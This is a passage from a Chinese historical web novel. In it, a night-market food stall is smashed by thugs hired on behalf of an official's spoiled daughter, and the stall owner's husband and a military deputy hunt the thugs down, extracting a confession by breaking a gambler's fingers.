就她看似什么都怕,但实则天不怕地不怕,真被逼急了,她能做出同归于尽的事情来,太过冲动,还是让她谨慎一些的好。 陆鸢这些天一直在想摊子被砸的事情,整得现在一有看着不好惹,一脸凶相的人靠近摊子,她就拉着胡七娘退远一些。 这看着一个壮汉从摊子前过去了,两个妇人才不约而同地松了一口气。 胡七娘道:“东家,这万一真有人砸咱们的摊子,咱们真要眼睁睁看着?” 陆鸢:“别人真要砸,咱们两个女人也阻止不了,还是保证自己的安危才是最重要的。” 胡七娘点了点头,随而道:“真真瞧不出来那晚来咱们摊子的胖妇人,心思会这么歹毒。” 陆鸢心说都干出强抢民男的事情了,还指望她能有多良善? 歹竹可难出好笋。杨宝珠坏,她爹杨主簿更坏。 杨宝珠的坏可不是天生的,而是为人父母给惯的。 “知人知面不知心,隔着那厚厚的一层肚皮,怎可能看得出心肠好坏。”陆鸢说着话,也没敢放松警惕。 这正警惕着,忽然一个熟悉的人出现在了她的摊子前。 陆鸢不太能记住人脸,但来人下巴都快仰到天上去了,那自诩高人一等的姿态,都不用看脸,陆鸢就能把人给认出来了。 除了那日随在杨宝珠身边婢女,也没谁了。 做人奴婢,做出她这样神气,也是少见。 陆鸢心说这婢女看着瘦瘦弱弱的,应该没那胆量砸摊子吧? 婢女看向陆鸢,道:“给我把你摊子上的吃食,每样都打包两份。” 说着,把食篮放到了桌面上:“里边有食盒,做好之后就装到食盒里边。” 陆鸢:“……” 这什么情况? 陆鸢和胡七娘都一头雾水,但还是去做。 陆鸢油炸,胡七娘盯着婢女,以防她使坏掀油锅。 陆鸢弄了半晌,才把吃食给做好,装好。 婢女提起了篮子,数了四十二枚铜板放到桌面上,随即抬眼看向陆鸢,问:“你考虑得如何了?” 陆鸢反应迟钝了数息,才反应过来对方问的是什么事。 陆鸢打起十二分精神,神色却是端着一派淡漠。 “转告你家娘子,我和我郎君感情好着呢,不仅不会和离,也不会有正妻不做,做小妾。” 婢女微微拧眉,道:“我劝你还是不要与我家娘子对着干,我家老爷可是广康公署的主簿,上头有知县大人撑腰,外有人脉,在这广康无人不知我家老爷。” “我家老爷最是爱女如命,只要我家娘子想要的,我家老爷都会满足,若是你不松口,老爷有的是法子让你和你家郎君松口。” “到时不仅吃了苦头,还得妥协,得不偿失。” 陆鸢忽然笑了笑,笑得婢女觉得莫名,问:“你笑什么?” 陆鸢笑意一敛,把手上的麻布往桌上重重一甩,冷着脸,一字一句的道:“我等着。” “我就不信了,这广康城就你家老爷说了算,他这上头可是有知县,有县丞,还有县尉,他敢做,我就敢一层一层地往上告!” 婢女见她说不通,冷哼了一声:“想来你是没打听过我们家老爷在广康的影响。” “也罢,最好到时候真找上门的时候,还能一直这么嘴硬。” 说罢,挽着食篮转身就走了。 胡七娘瞧着婢女走了,气道:“早知道咱们就不做她的生意了。” “那倒不至于,有银子怎能不挣呢。” 胡七娘闻言,转头看向她,见她神色平静,问:“东家就不气吗?” 陆鸢可不怎么气。 极品处处有,她在医院做护士的时候可没少见,真要因为这事而气,一天十二个时辰,她估计有十个时辰是在生气的,那人生多没意思。 “有点生气,但想想也不至于,这般蛮不讲理的人,越与她生气,她越得意。” 胡七娘看了眼人离开的方向,道:“真没见过这么不要脸的,做人主子的不要脸,抢人家郎君,还抢出优越感来了。做奴婢的,也是鼻孔朝天,心比天高。” “分明是个下人,却瞧不起我们这些平头老百姓,看着都想上手给她啪啪地两巴掌。”说着,胡七娘还特意地空扇了两下。 陆鸢倒了一碗豆乳递给她,劝道:“消消气消消气,喝碗豆乳压压心头的火气。” 胡七娘也意识到自己实在是太生气了,把路过的客人都吓到了,忙深深呼出了一口气调整自己的情绪,继而把豆乳接过。 喝了半碗豆乳后,气也消了些。 距婢女来警告的时间,又过去了两日。 陆鸢继续和胡七娘小心谨慎地摆着摊。 夜市已过半,披着外衫,化着浓妆的黄鹂匆匆跑来。 因着有杨宝珠做对比,这黄鹂她都硬生生地给瞧顺眼了。 瞧黄鹂一副急匆匆的模样,她问:“瞧着你脸色不大好,怎了?” 黄鹂绕过摊子,走到她跟前,朝她招了招手,说:“过来,与你说些严重的事。” 陆鸢纳闷,她和黄鹂没啥交集,还能有什么严重的事? 虽是这么想,但还是附耳过去听。 黄鹂抬起手遮住嘴,小声在她耳边说:“我与你说这些,你可千万别说是我告诉你的。” 陆鸢:“我都不知道你想说什么,我还与谁说,又说些什么?” 黄鹂翻了翻白眼:“你就不能仔细听下去?” 陆鸢:“好好好,是我错,我不该打岔的。” 黄鹂压低声音,说:“今晚来瓦子里吃酒的客人里头,有几个广康的混混,平日正经事不干,专门给人干一些见不得人腌臜事。” “我给他们斟酒时,不经意听到他们如何砸苏记的摊子,我起初没想到是你家的摊子,但听着他们说只砸摊子,油炸小食的热油得避着点人,别真伤了人。” “说真的,你们家怎么就得罪人了?这请得起这些混混的,家里不是有些小钱,就是有点势力的,可不好解决,你们赶紧收摊,歇上一段时间。” 陆鸢道:“咱这还是要讨生活的,歇十天半个月,倒是可以,但歇上一个月,这些人还是不放过咱们,咋办?” 黄鹂劝道:“这安危可比这挣银子要重要得多,这要是伤了,不仅要花钱医治,还要养伤,得不偿失。” 陆鸢也不好拂了她来通风报信的好意,想了想,问:“那些混混可有什么特征,若是见了,我也好避一避。” 黄鹂道:“他们大多数都是三五成群,领头的叫豹哥,单眼皮,皮肤黝黑黝黑的,身形高壮,瞧着倒是些英俊,当然了,比不上你家郎君。” “里边有一个在鼻子这里有一个大黑痣。”她指了指自己左边鼻翼。 陆鸢听着她的形容,忽然定定地朝着远处看去,因为天色过暗,瞧得不真切,问:“是不是前边那几个。” 黄鹂闻言,转头一看,表情瞬间就变了,忙道:“我先走了,可别说见过我,我也惹不起这些人。” 说完之后,黄鹂急匆匆就跑了。 陆鸢忙转头与胡七娘对眼,压低声提醒:“你小心些,别被伤到了。” 胡七娘忙不迭地点头。 不多时,那几个人已经到了跟前,一上来也没有闹事,而是驱赶了正在吃东西的客人,然后四个人就占了两张桌子。 “掌柜,来几碗豆乳,几份油条。” 胡七娘大气都不敢喘一下,问:“是几碗,几份油条?” 鼻翼有痣的男人一拍桌子,骂骂咧咧的道:“眼瞎呀,没看到我们来了多少个人?!” 陆鸢给了胡七娘安抚的眼神,然后笑吟吟的道:“她是新来帮忙的,几位客人且稍等,我现在就做。” 陆鸢做好了豆浆油条,和胡七娘送上桌,然后就离得远远的。 原本还担心分不清真的是闹事,还是杨家来寻麻烦的,有黄鹂提醒后,这就放宽心了。 陆鸢还在瞎琢磨的时候,那些人忽然吼了一声:“干,这豆乳里有蟑螂,想吃死谁呢!” 来了来了,麻烦它来了。 陆鸢和胡七娘不仅躲着油锅,还躲着桌子。 她站在大老远道:“不可能,我家豆乳都是用纱布过滤过的,就刚刚我还煮的时候,还特意用纱布过滤过,是绝对不可能会有蟑螂。” 那人瞪大双眼,好几步开外的妇人:“你的意思是我们要讹你了?” 陆鸢:“我可没这么说,但你要这么说的话,我可不得不怀疑。” 那人径直把她的桌子给掀了,道:“老子长这么大还没被人这么诬陷过!” 陆鸢摊子的动静闹得大,隔壁摊子的人都起来跑了,躲得远远的。 便是从摊子前经过的人,也都躲远了,生怕殃及池鱼。 “兄弟们,他们家的摊子不诚信,咱们好好教他们做人,给我砸!” 陆鸢和胡七娘躲得远远的,也不叫唤,就看着他们砸。 其中又高又壮,皮肤还黑的男人却没有动,似乎察觉到了不对劲,转头望向好似在看热闹,没有半点焦急的那两个妇人。 微微眯眸,觉得有些不太对劲。 这寻常人的摊子被砸了,肯定又哭又闹,哪像她们这样,好似事不关己,镇定得让人觉得怪异。 摊子被砸得差不多时,男人喝了一声:“差不多得了。” 鼻翼上有痣的男人啐了一口唾沫在地上,道:“老子要不是见你们是妇人,连你们都打,还敢诬陷老子,找死。” “老子劝你识时务一点,别什么都嘴硬,该服软的时候就服个软,不然不仅仅是我们教训你们,还有别人等着教训你们呢。” 从前日婢女来时说的那些话来看,一听就知道这混混话里藏着话。 混混们砸了摊子后,就走了。 围观的人见他们靠近,连忙让道。 等人走了,旁人才敢开始议论是咋回事。 因着他们砸摊子不过小半刻,等里甲从街头赶过来,他们都已经走了。 里甲道:“方才被人拖住了,这才过来晚了,闹事的都走了?” 陆鸢点了点头。 看来,绊住里甲的人,也是闹事者的人。 里甲环视了一圈一片狼藉的摊子,询问旁人因什么事而起的后,问摊主:“要报官吗?” 陆鸢重重地点头,应得斩钉截铁:“报!” “我看他们就是存心找麻烦的,不报官,岂不是坐实了我这摊子的吃食不卫生!” 他们等的就是摊子被砸,然后去报官的这一刻。 第104章 祁晟来接陆鸢收摊的时候, 便见到陆鸢和胡七娘正在打扫摊子。 虽然收拾得差不多了,但也能看到地上几滩油,还有堆做一堆的碎片土陶器。 祁晟顿时明白了什么,脚步加快, 急切的问陆鸢:“有没有伤到?” 胡七娘忙帮应道:“倒是没有被伤到, 可就是被诬陷了, 说咱们的豆乳有蟑螂,也不知道会不会影响到之后的生意。” 祁晟闻言, 皱起了眉头。 陆鸢看得开,道:“没事, 这些都是些混混, 大家都是有眼看得,再说了, 我们会去报官, 我相信县丞帮咱们的。” 知县就不想了, 估计为了政绩, 只会帮着这杨主簿, 这件事会轻轻揭过。 既是杨县丞的主意,肯定是得看他。 里甲见她家摊子的男人来了, 也走了过来。 这平时都是祁晟和里甲打交道,平日里做多了吃食, 祁晟也会给里甲送一些过去, 这些交情也就有了。 里甲仔细询问:“你们家可是得罪了什么人?” 祁晟佯装不解,问:“何意?” 里甲道:“今晚砸摊子的这些人, 是广康县的二流子,平日里大家都躲着走。” “你们家摊子是夜市这些摊子里头,算是最干净的了, 且你家的豆乳每碗都会过滤过,那么大的一个蟑螂,不可能看不到,大概就是他们把蟑螂放进碗中来讹你们的。” 里甲对他们摊子的习惯还是知道的,怀疑别家不干净,也不会怀疑他们家。 祁晟道:“明日我们就去报官。” 里甲道:“听说这些混混背后有人,这报官,也未必能有结果。” 陆鸢道:“有没有结果,试过才知道,不然这每回出摊的时候都来砸,哪能经得住。” “再说了,这报了官,才能证明我们问心无愧。” 里间见他们意已决,便也就没再说什么,继续去巡逻了。 等把被打砸的东西都收拾妥当后,桌椅也没怎么坏,就全搬上了小推车,其他的垃圾,会有人专门收。 他们所交的摊位费,是已经给了清理的费用的。 陆鸢和胡七娘道:“今晚你也受累了,这虽然都没摆够两个时辰,但这工钱还是按照十八文给你。” 说着,给她数了铜板。 陆鸢和祁晟收摊回到家中后,才道:“虽然提前知道了有人会来砸咱们的摊子,真看到的时候,我心里还是有七上八下的。” 祁晟道:“咱们明日就去找县丞。” 陆鸢道:“对了,今晚是黄鹂提前来提醒我,说是有人要砸我们的摊子。” 祁晟挑眉:“她是如何得知的?” 陆鸢:“今日那些人在她跳舞的瓦子里吃酒,她无意间听到的,前脚才跑来提醒我,后脚那些闹事的人就来了。” 祁晟神色中带了些思索。 陆鸢见此,问:“你在琢磨什么?” 祁晟道:“在想,让她做人证的可能性有多大。” 陆鸢想都没想,便应:“一成都没有。” “她是在瓦子里听到的讯息,要是被人知道往外讲了,这往后哪个班子还敢要她?就算有人愿意要,人家瓦舍都不敢让她继续跳舞了。” 这娱乐场所,最顾忌的就是这泄密了。 祁晟:“所以我在琢磨着,如何在不泄露她身份的情况下,想让她做人证。” 这有了人证,就能知道这是提前预谋的,而不是他们摊子的问题。 陆鸢道:“虽然我不怎么喜欢黄鹂,可也别害人家,今日人家可是给咱提了醒的。” 祁晟颔首:“知道了。” 他看了眼搬回来的桌椅,道:“咱们还是先算算今晚的损失吧。” 陆鸢道:“原本打算这几天换油的,听你说会有人来砸摊子,我就没换,所以损失的就那些锅碗瓢盆,算算的话,估计不会超过五百文。” 祁晟道:“算,油损也算。” 陆鸢一笑,算道:“每锅油可都有一斤半的呢,这都要三斤板油才能出这么多的油,一斤板油得二十文钱一斤,这三锅可就是一百八十文呢,桌椅也不同程度的损坏,不要多,就一百文。” 翌日一早,祁晟上值的时候,陆鸢是跟着一块去的。 到公署前,她是第一个到的广康公署。 广康县城里的百姓,倒不似村子里的村民那般怕见官,除了失窃,谋害等外,有解决不了的纠纷,也会寻到公署让知县主持公道。 知县从未单独找祁晟说过话,也不怎么在意这人,自是不清楚他家何在,妻子姓甚名谁。 还是身边的杨主簿提醒,他才知道堂下的妇人,是县丞聘请砦官之妻。 晓得是被人砸了摊子,询问了一些讯息后,身旁的杨主簿道:“大人,不若就让陆捕快去调查,正好陆捕快刚查完一个案子,手上没有活计。” 知县便唤了陆捕快去查此事。 报了官,就如同后世报了警一般,得回去等消息。 陆鸢从公堂走出,祁晟就已经等在前衙了。 他低声问:“可是派了姓陆的捕快查此事?” 陆鸢点了头。 祁晟道:“行,我知道了,我一会与县丞说,那些人我会亲自逮到,帮你出这口气。” 陆鸢道:“你可别乱逞强,昨晚我仔细瞧了瞧他们领头的那个人,瞧着他走路步子和你,还有公署个别捕快有些像,手腕还附了护腕,瞧着也是个会些拳脚的练家子。” “我琢磨一下,这没三两下拳脚,也在这广康混不开。你呀,就别太逞强,抓人这种事,还是得交给人家正经的捕快。” 说到这,她越发小声的补充:“当然了,我说的不是姓陆的那位。” 祁晟把人送到了公署外,与她道:“你先回家去,别回夜市街,回垂柳巷,后日也就先不出摊了。” 陆鸢点了头,祁晟再次嘱咐:“还有,回去别走小路。” 陆鸢闻言,顿时没好气道:“你什么时候见我自己走小路了?这不是每回有你在身边,我才敢走小路么。” 祁晟见她这么说,才稍稍放心。 目送陆鸢走后,祁晟才转身回了公署,去寻了杨县丞。 杨县丞从旁人口中听说了他家摊子被砸的事了,见着祁晟进来,问:“你娘子走了?” 祁晟点头:“刚回去。” 杨县丞:“可有受伤?” 祁晟摇头:“那些人并未伤及人。” 杨县丞闻言,轻嗤一笑:“也是,这砸摊子最多就是寻衅滋事,或赔偿就成,但要是真伤了人,罪责就重了,这闹事的人竟还真能把握住度。” 祁晟问:“大人接下来有什么打算?” 杨县丞道:“当然是抓人,让他招供。” 祁晟道:“知县让陆捕快去查这事,陆捕快是向着杨主簿那头的,恐怕不好查。” 杨县丞往后靠到椅背,饶有兴味地看着祁晟:“自家娘子被欺负了,身为丈夫出手教训一下滋事的人,也是合情合理的,不是吗?” 祁晟顿时会意:“属下明白了。” 杨县丞继而道:“避免对方人多势众,你把我的副将也一同带去。” 祁晟闻言,立马应下:“我这就去寻陈副将。” 祁晟有幸看过陈副将杀匪,从实打实的战场杀过敌的就是不同,一人一刀,招式狠辣,招招都是攻人命门去的。 祁晟自认不是县丞的对手,也更不是这副将的对手,有其相助,定会事半功倍。 杨主簿没想到这祁家夫妇还真敢报官。 寻常人怕被报复,只会甘愿倒霉,他们倒好,第二日就直接上公署告官了! 等歇息的时候,他喊住了陆捕快,道:“祁砦官家摊子的事,别查得太仔细,意思意思就行了。” 陆捕快一听就明白是什么事儿了。 杨主簿爱女如命这事,整个公署上下都是知道的。 前日就听说杨主簿那闺女看上祁晟了,甚至还找到人家摊子前让其娘子要么和离要么做小,寻常人做不出这么没皮没脸的事,可杨主簿这闺女可不是什么寻常人。 这得不到,只要一哭二闹三闹绝食,杨主簿就妥协,压根也不想想他闺女那体格子,看着就不像是能忍得了绝食的人。 很有可能,昨夜夜市里闹事的人,想来就是杨主簿找的。 但陆捕快受了不少杨主簿的恩惠与好处,自是不会把心里话说出来,而且还会揣着明白装糊涂,帮其遮掩。 陆捕快笑道:“属下明白该怎么做了,主簿还请放心。” 杨主簿这才满意地点了点头。 陆捕快这边敷衍得很,没有当即去查,愣是要等到明日夜市开市才去简单的对里甲,还有原来隔壁的摊主做询问。 询问态度奇怪得很。 陆捕快板着脸询问:“你们能保证不是这苏记小食摊子的问题?又或是忽然从别处飞来的蟑螂?若是无法做保证,便是诬赖。” 同一个问题,隔壁摊子的摊主应得不确信,便改了口供。 原先说是那些人故意寻的麻烦,等听到陆捕快说的话,不想自寻麻烦,就改了口说他们也不确定。 里甲倒是清楚这摊子的郎君也在公署当值,且常与公署捕快打交道,所以也没有轻易被陆捕快震慑。 里甲如实道:“苏娘子家的摊子,可以说是这整个夜市街里头最为干净的摊子了,这摊子每日都会盖一层布,每次出摊都是干干净净的。做吃食也是极为有讲究的,这就是怕出现昨夜的情况,所以这平时加热的豆乳,舀进锅中时,都是用纱布过一遍的。” 陆捕快微微蹙眉,沉着脸继续道:“你能确定昨天是否忘记用纱布过了?” 里甲:“那就更不可能了,人苏娘子用的是茶壶加热的,壶口就那么丁点大,壶口尾端还有漏口又过一遍,这蟑螂这般大,怎么可能出得来?” 这属实是陆捕快没想到的:“那也可能是别处飞来的。” 里甲道:“那就更不可能了,这么大一只蟑螂飞过来,这么多个大男人,这么多双眼睛难不成就看不住,一瞧就知道是故意挑事滋事的。” 陆捕快眉头皱起,但还是没说什么:“行了,这事我晓得了。” 说罢,就走了。 里甲微微蹙眉,眼底浮现疑惑。 怎觉得这陆捕快一点也不积极,不仅没有想给那苏娘子讨公道的感觉,反倒希望这次的闹事,是苏娘子的过失? 可这苏家娘子的郎君,不是公门中人吗,上回都还看到公署的捕头和其一块吃酒呢,且见过还不止一回呢。 这就说明苏家娘子的郎君,在公署的人缘还是可以的,咋?这公门还分两批人不成? …… 相对比这陆捕快的敷衍,祁晟带着陈副将穿着常服,在当天就寻到了福来小栈,原先他和丽娘来城里一开始住的地方。 福来小栈掌柜看见祁晟,惊诧地上下打量了一番,道:“郎君这眼疾可是治好了?” 虽说这小栈常人来人往,小栈掌柜记不住所有人,却是能记住这夫妻俩,主要是让人太难忘了。 娘子口头利索,郎君又英俊又惨,还特别黏着妻子,到现在这会,掌柜都记忆犹新。 祁晟点头:“托我家娘子的福,若不是她不离不弃,我这眼睛也好不了那么快。” 小栈掌柜笑问:“那你家娘子现在可安好?” 祁晟应:“挺好的,在夜市摆小食摊,叫苏记小食,若掌柜得空了,可以去尝一尝。” 小栈掌柜笑应:“一定一定。” 说罢,瞧了眼他身后看着凶神恶煞的男人,问:“不过,二位现在是要住店?” 祁晟摇了摇头,应道:“不是,来寻人。” 小栈掌柜疑惑道:“寻谁?” 祁晟:“现在住在对面屋子的黄鹂,现在可还住在这?” 小栈掌柜的神色中顿时浮现些许的警惕,试探道:“不知郎君找黄鹂娘子作甚?” 虽说这黄鹂不好相与,嘴巴有时跟淬了毒似的,但小栈掌柜夫妇也念她一个女子讨生活不易,所以也没和她计较过。 陈副将做事素来干净快速,更见不得旁人废话,径直拿出了令牌:“公门办案,需要向她询问一些事情。” 小栈掌柜看到令牌,一瞬白了脸,忙道:“小的有眼不识泰山,还请两位爷莫怪。” 他是真没想到,这郎君与娘子刚住进小院的时候,日子过得紧巴巴的,这才几个月,眼疾好了之后,竟然还成了公门中人。 到底有两分相熟的交情在,祁晟面色倒是和睦,声音平和道:“掌柜莫要紧张,我们过来也只是例行询问而已,不会为难掌柜,更不会为难那黄鹂。” 小栈掌柜道:“黄鹂娘子还在原先的屋子住着,我领着两位爷上去。” 他从柜台后走出,随即压低声音道:“这黄鹂娘子也不容易,若是没犯事,还请二位官爷莫要张扬。” 祁晟道:“自然,我们今日来,常服出行,正是如此。” 小栈掌柜才领着他们上楼。 小栈掌柜敲了房门,里边传出黄鹂恼怒的声音:“敲什么敲,现在才什么时辰,不知道我要歇到晌午吗?” 小栈掌柜道:“黄娘子,有人寻。” 好半晌,房门打开,黄鹂一脸哀怨地出现在众人的面前,待看到是祁晟后,倏然清醒,往后退一步,正要关门时,一只大掌撑住了门扉。 陈副将冷色道:“怎的,公署办案,你不愿配合?” 黄鹂心肝胆颤地往上抬头,看向那高大且杀气重重的男人,没有上妆的一张脸,刷地一下就白了,哆哆嗦嗦地道:“愿、愿意的。” 她怕自己一句“不愿意”,就被这壮汉拎小鸡似地扔了出去。 祁晟:…… 他还以为要费一番口舌,谁承想让证人开口,只需要一个陈副将。 第105章 屋中, 素来张扬的黄鹂,现今却惶恐不安。 祁晟见她怕陈副将,便让陈副将来盘问。 陈副将也不废话,开门见山就问:“那晚砸摊子的人, 每个人的讯息, 我都要知道一清二楚。” “可我要是说了, 那些人知晓了,肯定会报复我的, 就是这瓦子也不可能留我,到时我便一无所有, 还要担心被报复。” 陈副将翻了个眼白, 显然没有闲心和她闲扯下去,道:“今日来询问过你的事, 我们不会与外人说道, 便是瓦子那边, 我给你去撑场子, 如何?” 黄鹂僵硬着脖子转向祁晟, 眼神动了动,似乎在问眼前这位是什么来头。 祁晟道:“县丞身边的得力属下, 虽跟在县丞身边,但依旧有八品官位的宣节副尉。” 陈副将如今是与县丞平起平坐的关系, 但依旧效力县丞, 且整个公署除却县丞外,还有知县外, 其他人都在他之下。 黄鹂虽然听不懂什么宣节副尉,但听懂了八品官员。 她再看向陈副将的时候,眼里已然没了方才的畏惧, 反倒多了些我见犹怜:“大人可要说话算话。” 陈副将面色一沉:“我堂堂一个副尉还能诓你一个手无缚鸡之力的女人不成?” 有了他的话,黄鹂这松了口气,道:“他们算是瓦子里的熟客了,平日三天两头都会来瓦舍见一些人。” “我记得我听到他们说那些话前,看到了一个身形发福的中年男人给了他们一个钱袋子,说了什么我不清楚,但后来我就无意听到他们要砸苏记小食的摊子,我因着认识苏娘子,这才多留心了,然后跑去通风报信,没成想后脚他们就来了,我也就跑了。” 说到这,她看向祁晟:“你家什么情况,都认识这么个人物了,怎的还会被地痞流氓欺负?” 陈副将喝道:“是我们问你,不是你问我们,别顾左右而言他,说正事!” 黄鹂被喝得身躯一震,缩了缩脖子,小声嘀咕:“我就是好奇。” 陈副将:“继续说,这些人叫什么,还有什么特征,都在什么地方出没。” 黄鹂不敢再说旁的,便只能把知道的都一五一十的说了,把每人的特征和叫甚都一一道来。 “他们的去处我也不太清楚,我只知他们常来我们的瓦子,只是现在知道有官差查他们,肯定会避风头,近时间肯定不会再来了。” 站在陈副将身后的祁晟道:“仔细想想,他们先前都透露过什么讯息。” 黄鹂仔细想了想,随之道:“我记得里边鼻翼有痣的徐六是个赌鬼,时常被豹哥训斥,让他戒赌,不然这人生就毁了。” “但这赌一沾上就难戒掉了,我瞧着那人虽应得诚恳,但肯定还会继续赌,昨日才有银钱,今日就会拿去赌的可能有七八成。” 祁晟:“知道他常去的是哪几个博坊吗?” 黄鹂眼珠子往上抬,拧紧了眉头仔细回想了好一会。 “好像……还真听说过,我想想。” 广康城说大不是很大,但也不是很小,这合规的博坊,大大小小有五间。 但不合规的地下博坊,不知道有多少间,一一排查只会打草惊蛇。 “好像听到过千金博坊,还有什么逍遥博坊。” 这赌徒可不会轻易换赌场,有了消息,两人也不耽搁了准备离去。 离去前,祁晟还是朝黄鹂道:“我听丽娘说你昨日特意来提醒了,这件事多谢了。” “今日打扰了。” 黄鹂愣了一下,忽然笑了,道:“你原来还会好好说话呀?” 祁晟颔了颔首,然后与陈副将一同离开。 不是他不好好说话,而是这有时候的特别情况,就得说话绝一点,才能杜绝麻烦。 祁晟和周副将行事极为迅速,这一问到地方,两人立即分头行动,一逮到人,就立刻汇合。 陈副将全然没有大材小用的不耐,反倒都是查案的亢奋。 再说祁晟去的是千金博坊,入了博坊后不久,就找到了徐六。 祁晟在二楼观察了许久,看着徐六把身上的银钱都输完了,骂爹骂娘后,才从博坊出去。 只是经过巷子时,忽然有没看清的长物抵了过来,他恼骂:“那个王八……”蛋字还未出,就在看到一把未开鞘的刀就抵在了他的脖子处,他看得出来,是官府的佩刀。 他惊恐地抬眼看向来人:“你、你是谁?” 祁晟笑了笑,道:“你们摊子都砸了,怎么,不认识我?” 徐六心头一惊,故作镇定道:“我不懂你说什么。” 祁晟道:“苏记小食摊的年轻妇人,是我家娘子,不巧,你们砸的正是我娘子的摊子,更不巧的是,她郎君争气,在公署砦官一职,所以今天才能给她讨个公道。” 徐六听见他在公署当值,好像官还不小,心里直骂娘。 “官爷这肯定是认错人了,我虽好摇几手,可我这也是良善之辈,怎可能会做出砸人摊子的事情来!” 晟挑了挑眉:“要不要当面对峙?” 眼见蒙混不过去,徐六只得承认:“是我们,但那也是因为你家娘子的摊子上不……”干净二字还没出,刀子出些许刀鞘,发出利器划出的声音,听得人心惊惊。 “是因为老大让我们做的,我们不得不做!”在这吓人的声音之下,徐六立马改了口。 “你 们老大在哪?”祁晟问。 徐六摇头道:“我不知道,平时都是老大找到我们,约好时间在瓦子聚在一块。” 对于一个赌徒的话,祁晟一个字都不会轻信。 省得废话,他押着人从小路走,去和陈副将约定的地方。 徐六想法子逃跑,经过摆放竹子的巷子,眼珠子一转,但身后的人却忽然喊停了他。 随后不知那男人从何处寻来的绳子,径直反绑了他的手, 徐六:…… 不是,他总觉得他看穿了他,知道他想干什么。 祁晟暼了眼那些个竹子,把绳子的另一头在自己的手腕上多缠了两圈,确保他跑不了。 多缠了两圈,确保他跑不了。 等出街道前,祁晟在徐六自己的衣裳上撕了一块布,蒙住了他的下半张脸,以防有人认出来,从而去通风报信。 陈副将没有在另一个博坊找到人,就去了约定好的地方等着了。 等了许久,就见祁晟拉着一个蒙着脸的男人走来。 二人也不废话,直接把人拽到了巷子。 陈副将行伍出身,手段狠厉,心肠冷硬,让他来逼供最合适不过。 陈副将逼供,祁晟则站到巷子拐弯处盯梢。 陈副将也不急着逼问,他把徐六的嘴捂住,随之拖进了巷子尾。 祁晟隐约听到身后传来凄厉的闷哼声。 不过半晌,这声音就停了,但能听见说话声, 前后不过半刻,陈副将拎着徐六从巷子出来。 祁晟看了眼苍白得没了血色的徐六,目光落在他那变形的手指上。 收回目光,看向陈副将:“可问出来了?” 陈副将冷嗤了一声:“还当他多有骨气,多有义气,这不还是招了,不过他确实不知道与他老大接头的人是谁,只知道和公署的人有关。” “既如此,我们抓人去。” 豹哥正往家里挑水,就被人给拦了下来,他们手上还押着徐六。 徐六满脸苍白,脸上都是汗,仔细一看,还能看到他已然变形的手指。 豹哥不由得警惕了起来,他放下了胆子,朝着两人一拱手:“ 不知道我这弟兄怎么得罪了二位,二位出手这么狠?” 祁晟开口:“夜市街,苏记小食。” 徐六有气无力地道:“豹哥,是那妇人的郎君,在、在公署当职。” 豹哥一怔。 让他们办这事的,也是公门中人,不是说这事情很容易摆平吗?! 豹哥眼里出现的惊讶,可没逃出两人的视线。 祁晟道:“是你跟着我们走,还是我把你弟兄的十指彻彻底底地掰断,然后再强迫带你走?” 豹哥深呼吸了一口气,说:“你把我兄弟放了,我跟着你们走。” 他一步一步慢慢走了过去。 陈副将一把把徐六甩到地上,徐六便是手被掰折了,求生的本能还是驱使着他连滚带爬地逃跑。 陈副将已然抓到了豹哥的手臂,却不想那豹哥身手也利落,利落转身,犹如泥鳅一般从陈副将的手下挣脱。 见此,陈副将的脸上顿时闪过兴味。 看着身形壮硕的陈副将,动作却非常灵活,在豹哥挣脱的下一瞬就已经反应了过来,动作极快的扯上了对方的领子。 豹哥见逃不了,干脆直接对上手。 祁晟在旁观战。 这混混确实是有两把刷子,不过也仅此而已。 七八个招式过后,人就已经被陈副将压在手肘之下了。 豹哥趴在了地上,被陈副将的手肘压得动弹不得。 陈副将啧了一声,道:“倒是有几分能耐,就是没用在正途上,要是跟着去剿匪,不仅有赏银,还有名声,可不给人做打手强?” “奈何不做英雄,偏要做狗熊。” 说着就把人给拽了起来。 豹哥冷嗤道:“你们这些做官的又能有多清白,不过也是鱼肉百姓的其中一人罢了,与你们同流,那才是够狗熊。” 陈副将冷下脸:“冥顽不灵。” 豹哥道:“我冥顽不灵,你们公门的人寻的我砸摊子,做出买凶行凶之事的公门,还英雄呢!呸。” 说到这,他猜测道:“我不过只是砸了摊子,赔钱便可,何至于你们两人出来抓我,你们怕是为了指使我的人来的。” 祁晟上前,把他双手绑住,道:“既然猜到了,就知道该说什么了。” 这里也不是说话的地方,两人分头行动,祁晟骑马回去,拴上马车,一刻时返回,和陈副将把人带走。 第106章 祁晟驾着马车, 押着豹哥朝着公署而去。 这马车还未停,远远就看到了杨主簿闺女的马车,不由地蹙眉,与马车里的陈副将道:“是杨氏女。” 陈副将调侃道:“我就从来没有这种长得好, 被姑娘妇人追着跑的苦恼。” 祁晟无奈, 道:“马车就先交给你了, 我从公署大门进。” 陈副将应了声“行”,随之警告地看了眼豹哥:“可别想逃跑, 你要是逃跑了,你的兄弟和家人估计得为你的逃跑付出代价。” 豹哥虽然被反手绑着, 嘴也被捂着, 但一双眼睛里的嘲讽明显得很。 似乎嘲讽对方一个公门的人,也会威胁人。 陈副将似看穿了他的想法, 冷嗤了一声, 道:“老子可是从刀山血海里出来的, 手脏, 心也脏着呢。” 说着, 便撩开帘子,接管了祁晟的马车。 祁晟下了马车后, 马车便往后门而去。 这还没进公署大门,就被拦了下来。 杨宝珠朝着他笑道:“祁郎君瞧着心情不大好的模样, 可是家里出了什么事?” 祁晟转头看向杨氏女, 她脸上的笑意带着得意,幸灾乐祸, 全然不在意自己的任性,会造成怎么样的影响。也不会在意会不会把别人赖以生存的活计弄垮,她所在意的仅仅只是自己的私欲有没有得到满足。 这样的一个人, 祁晟不会用对寻常人的态度来对待。 在杨宝珠那得意的笑意之下,祁晟缓缓开口:“丑人,多作怪。” 看着杨氏女的笑意逐渐僵硬,祁晟收起视线,转而跨过公署的门槛,入了公署之中。 杨宝珠转头看向他的背影,道:“没关系,那你继续嘴硬吧,迟早有一日,你会服软的。” 虽还未得赔偿,陆鸢还是开始重新购置锅碗瓢盆。 双日不打算摆摊了,也就把东西都买了。 家中银钱充足,她便购置了两个铁锅用来油炸。 铁锅油炸,油耗会更少。 摊子被砸的事,也没有与老太太说,省得她胡思乱想。 陆鸢把买回来的东西都放置在夜市街的小院,瞧着天色不早的才叫了牛车回去。 最近不太平,她可不敢自己走着回去。 归至家中,老太太正在做暮食。 陆鸢佯装无事发生,笑吟吟地走近厨房,问:“今晚吃什么?” 老太太道:“先前晟哥儿不是弄了些菌子回来么,我就琢磨炖个腊鸡吃。” 